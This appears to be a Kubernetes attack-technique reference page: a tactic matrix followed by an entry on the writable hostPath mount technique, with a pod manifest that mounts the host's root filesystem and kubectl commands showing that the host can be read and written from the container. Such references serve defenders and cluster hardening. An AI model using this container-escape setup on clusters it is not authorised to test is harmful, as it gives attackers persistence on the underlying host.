Initial access Execution Persistence Privilege escalation Defense evasion Credential access Discovery Lateral movement Collection Impact
Using Cloud Exec into Container Backdoor Container Privileged Container Clear Container Logs List K8s secrets Access the K8s API server Access cloud resources Images from a private repository Data Destruction
Compromised images in registry bash/cmd in container Writable hostPath mount Cluster-admin binding Delete k8s events Mount service principal Access Kubelet API Container service account Ressource hijacking
Kubeconfig file New container Kubernetes CronJob hostPath mount Pod / container name similarity Access container service account Network mapping Cluster internal networking Denial of Service
Application vulnerability Application exploit (RCE) Malicious admission controller Access cloud resources Connect from proxy server Applications credentials in configuration files Access Kubernetes dashboard Applications credentials in configuration files
Exposed sensitive interfaces SSH server running in inside container Disable Namespacing Access managed identity credentials Instance metadata API Writable volume mounts on the host
Sidecar injection Malicious admission controller CoreDNS poisoning
ARP poisoning and IP spoofing

Writable hostPath mount

hostPath volume mounts a directory or a file from the host to the container. Attackers who have permissions to create a new container in the cluster may create one with a writable hostPath volume and gain persistence on the underlying host. For example, the latter can be achieved by creating a cron job on the host.

Example

Create a pod with a container that uses a hostPath volume. In the following example we mount the host system’s /-directory into the container’s /host directory.

apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  containers:
  - image: ubuntu:latest
    name: ubuntu
    command: [ "/bin/sh", "-c", "sleep 9999" ]
    volumeMounts:
    - mountPath: /host
      name: my-volume
  volumes:
  - name: my-volume
    hostPath:
      path: /

Once deployed we can see that through the container we can actually access the host system’s file system.

$ kubectl exec -it my-pod -- cat /etc/hostname
my-pod

$ kubectl exec -it my-pod -- cat /host/etc/hostname
k8s-node-0

And we can also write to the underlying host system’s file system.

$ kubectl exec -it my-pod -- touch /host/x.txt
$ kubectl exec -it my-pod -- ls -lah /host/x.txt
-rw-r--r-- 1 root root 0 Oct 26 12:05 /host/x.txt